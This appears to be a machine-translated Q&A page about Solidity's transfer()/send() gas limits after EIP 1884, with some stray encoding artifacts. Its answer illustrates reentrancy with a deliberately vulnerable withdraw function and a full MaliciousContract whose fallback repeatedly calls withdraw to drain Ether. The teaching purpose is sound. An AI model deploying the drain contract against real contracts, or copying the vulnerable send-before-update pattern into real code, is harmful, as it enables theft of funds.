我在 2019 年 9 月发现了这篇关于避免使用 Solidity 的文章transfer()/send()。以下是文章中的推理:
\n\n看起来 EIP 1884 正在伊斯坦布尔硬分叉中前进。这一变化增加了 SLOAD 操作的 Gas 成本,因此破坏了一些现有的智能合约。
\n
\n\n这些合约将会被破坏,因为它们的后备函数过去消耗的gas不到2300,而现在它们\xe2\x80\x99将消耗更多。为什么 2300 Gas 很重要?如果通过 Solidity\xe2\x80\x99s Transfer() 或 send() 方法调用合约\xe2\x80\x99s后备函数,则它\xe2\x80\x99s接收到的气体量。1
\n
\n\n自推出以来,transfer() 通常受到安全社区的推荐,因为它有助于防范重入攻击。该指导意见在 Gas 成本不会改变的假设下是有意义的,但事实证明该假设是不正确的。我们现在建议避免使用transfer() 和send()。
\n
在 中remix,有一条关于以下代码的警告消息:
(bool success, ) = recipient.call{value:_amount, gas: _gas}("");\nRun Code Online (Sandbox Code Playgroud)\n警告:
\nLow level calls: Use of "call": should be avoided whenever possible. It can lead to unexpected behavior if return value is not handled properly. Please use Direct Calls via specifying the called contract\'s interface. more\nRun Code Online (Sandbox Code Playgroud)\n我不是智能合约执行和安全方面的天然气成本专家。因此,我发表这篇文章,并希望得到有关它的想法和评论。
\n小智 5
首先,了解一下 Solidity 中的后备函数是件好事:它没有名称、没有参数、没有返回值,并且可以定义为每个合约一个,但最重要的特性是当一个不存在的函数时调用它在合同中被调用,例如 tosend或transfer或call.value()("")。因此,如果您想将以太币直接发送到一个合约地址,则会调用目标合约的后备函数。如果合约的后备函数没有标记payable,如果合约收到没有数据的普通以太币,它将抛出异常。
现在让我们看看重入攻击
contract VulnerableContract {
mapping(address => uint) public balances;
function deposit() public payable {
require(msg.value > 1);
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount, "Not enough balance!");
msg.sender.call.value(_amount)("");
balances[msg.sender] -= _amount;
}
function getBalance() view public returns(uint) {
return address(this).balance;
}
fallback() payable external {}
}Run Code Online (Sandbox Code Playgroud)
VuinerableContract有一个withdraw将 Ether 发送到调用地址的函数。现在调用地址可能是一个恶意合约,如下所示:
contract MaliciousContract {
VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB);
function deposit() public payable {
vulnerableContract.deposit.value(msg.value)();
}
function withdraw() public {
vulnerableContract.withdraw(1 ether);
}
function getBalance() view public returns(uint) {
return address(this).balance;
}
fallback () payable external {
if(address(vulnerableContract).balance > 1 ether) {
vulnerableContract.withdraw(1 ether);
}
}
}Run Code Online (Sandbox Code Playgroud)
当恶意合约调用提现函数时,在减少恶意合约的余额之前,会调用其后备函数,以便从易受攻击的合约中窃取更多的以太币。
因此,通过将后备功能使用的 Gas 量限制为 2300 Gas,我们可以防止这种攻击。这意味着我们不能再将复杂且昂贵的命令放入后备函数中。
查看此了解更多信息:https://swcregistry.io/docs/SWC-107
| 归档时间: |
|
| 查看次数: |
4193 次 |
| 最近记录: |